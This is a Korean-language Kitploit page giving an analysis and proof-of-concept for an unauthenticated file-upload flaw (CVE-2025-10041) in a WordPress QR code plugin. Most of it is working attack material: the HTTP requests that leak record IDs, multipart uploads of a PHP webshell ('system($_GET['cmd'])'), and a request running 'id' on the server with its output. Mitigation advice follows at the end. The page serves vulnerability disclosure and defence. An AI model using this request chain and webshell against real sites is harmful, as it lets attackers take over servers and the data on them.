Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

CVE-2025-10041에 대한 기술 분석 및 개념 증명 익스플로잇으로, WordPress Flex QR Code Generator 플러그인의 인증되지 않은 임의 파일 업로드를 통해 원격 코드 실행으로 이어지는 취약점입니다.

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-10041: Flex QR Code Generator 플러그인 임의 파일 업로드 취약점 분석


一、취약점 개요

  • 플러그인 이름: Flex QR Code Generator
  • 영향 버전: ≤ 1.2.5(모든 버전)
  • 취약점 유형: 임의 파일 업로드 → 원격 코드 실행(RCE)
  • 이용 조건: 로그인 불필요, 인증되지 않은 접근
  • 근본 원인: 파일 업로드 기능이 확장자 또는 MIME 유형을 검증하지 않으며, 인터페이스가 인증되지 않은 사용자에 의해 호출될 수 있음.

二、취약점 재현

  • No1 정보 유출 + 업데이트 훅을 통한 RCE 구현:

1. 공격 체인 요약

root@kitploit:~
인증 없이 ID 획득 → 업데이트 인터페이스 호출하여 PHP 파일 업로드 → webshell 접근 → RCE

2. 1단계: 정보 유출로 ID 획득

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

응답에서 유효한 id(예: 9) 및 logo_url 경로를 얻을 수 있음.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. 2단계: 업데이트를 통한 WebShell 업로드

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ 응답 success: true는 업로드 성공을 의미함.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. 3단계: 테스트 파일 접근

파일 경로 형식: {original_name}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

서버가 파일 내용을 반환함

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 인증 없이 파일 업로드 + RCE 구현:

1. 공격 체인 요약

root@kitploit:~
인증 없이 인터페이스에 악성 파일 업로드 → webshell 접근 → RCE

2. 1단계: 인터페이스에 악성 파일 업로드

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

응답에서 유효한 id(예: 10) 및 success 결과를 얻을 수 있음

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. 3단계: WEBSHELL에 접근하여 명령 실행

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ 서버가 명령 실행 결과를 반환하여 RCE 성공.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

三、취약점 원리

1. 취약 함수

  • 파일: flex-qr-code-generator/qr-code-generator.php
  • 함수: save_qr_code_to_db() 및 update_qr_code()

2. 주요 결함

  • $_FILES['logo']['error'] === UPLOAD_ERR_OK만 확인
  • 파일 확장자 또는 MIME 유형을 검증하지 않음
  • 파일 이름 제어 가능: {original_name}_{id}.ext, id는 자동 증가 기본 키

3. 인증 없는 호출

wp_ajax_nopriv_ 훅을 통해 등록되어 로그인하지 않은 사용자가 인터페이스에 접근할 수 있음:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv는 "권한 요구 없음"을 의미하며, 공격자는 로그인 없이 호출할 수 있음.


四、수정 제안

조치설명
✅ 권한 제어nopriv 훅 제거, 관리자만 호출 허용
✅ 파일 유형 검증화이트리스트로 확장자 제한(예: jpg/png/gif)
✅ PHP 실행 금지uploads/.htaccess에서 PHP 실행 금지
✅ 파일 이름 변경무작위 파일 이름 사용, 추측 방지
✅ 플러그인 업그레이드공식 업데이트 확인, 신속히 업그레이드

면책 조항

본 문서는 보안 연구 및 교육 목적으로만 작성되었으며, 승인되지 않은 침투 테스트 또는 공격 행위를 금지합니다. 사용자는 관련 법률 및 규정을 준수해야 합니다.

도구 다운로드